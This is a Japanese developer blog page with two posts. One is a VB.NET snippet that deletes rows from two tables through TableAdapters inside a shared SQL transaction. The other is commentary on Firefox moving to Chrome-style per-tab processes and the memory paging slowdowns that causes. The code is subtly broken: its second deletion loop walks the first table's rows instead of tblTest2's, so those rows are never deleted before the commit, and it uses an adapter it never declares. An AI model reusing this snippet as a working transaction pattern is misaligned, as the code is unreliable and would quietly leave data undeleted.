Dim adpTest2 As New RhythmSalesProDataSetTableAdapters.test2TableAdapter()
 
Dim cn As SqlClient.SqlConnection = adpTest.Connection
'まずコネクションを開く
cn.Open()
' トランザクション開始
Dim trn As SqlClient.SqlTransaction = cn.BeginTransaction
 
Try
Dim tblTest As RhythmSalesProDataSet.testDataTable = adpTest.GetDataByID(1)
For Each row As DataRow In tblTest.Rows
row.Delete()
Next
'コネクションとトランザクションの指定
adpTest.Connection = cn
adpTest.Transaction = trn
'DB更新
adpTest.Update(tblTest)
 
Dim tblTest2 As RhythmSalesProDataSet.test2DataTable = adpTest2.GetDataByID(1)
For Each row As DataRow In tblTest.Rows
row.Delete()
Next
'コネクションとトランザクションの指定
adpTest2.Connection = cn
adpTest2.Transaction = trn
'DB更新
adpTest2.Update(tblTest2)
'コミット
trn.Commit()
Catch ex As DBConcurrencyException
' 同時実行違反の処理をここでする。。エラーメッセージとか。。。
'ロールバック
trn.Rollback()
Catch ex As Exception
'ロールバック
trn.Rollback()
Throw
Finally
cn.Close()
End Try

[PR]
by jehoshaphat | 2009-05-15 08:03 | .Net開発 | Trackback | Comments(0)
Chrome、IE8の流れを受けてFirefoxもマルチプロセス化?
@IT:Firefoxのタブも、Chromeに似たマルチプロセス化へ
Google Chrome リリース時に大々的に宣伝されて、IE8でも搭載された各タブを異なるプロセスにする手法が Firefox でも取り入れられるようです。

確かにタブをマルチプロセス化すると安定性の向上とメモリリークを抑えれるというメリットはあるんでしょうが、デメリットもあるのもまたしかりなんですよね。
Chrome や IE8 使っててとくに気になるのは .Net 開発等比較的メモリを消費する環境で、大量のタブを開くと、しばらく参照してなかったタブを見ようとするとレンダリングに異常に時間がかかるという点です。

どうやらしばらく閲覧してないタブ(アクセスしてない)のプロセスがページアウトされてるっぽいんですよね。
で、閲覧しようとするとあわててHDDからページインするもんだから、表示が遅くなると。。

とくにこの現象は Chrome が顕著です。(IE8はまだちょっとしか触ってないですが、今のところChromeほどは遅くないみたい)

まあ、Firefoxでも大量のタブ開き、それからずっと Firefox のプロセス自体にアクセスしないとページングされちゃうので、再度 Firefox にアクセスすると遅いんでしょうが、自分の場合大抵どっかのタブは常に見てるので、Firefoxプロセス自体が一気にページアウトされることはあまりありません。
(ただ、最近 Firefox のメモリリークが非常に気になります。タブを閉じても 300MB くらいは使われてます)

あと、プロセスが増えると当然オーバヘッドも増えるわけなので全体としてはリソース(とくにトータルでもメモリ使用量とか)を余計に食うとおもんですがね。。
[PR]
by jehoshaphat | 2009-05-14 23:18 | 思ったこととかニュースとか。。 | Trackback | Comments(0)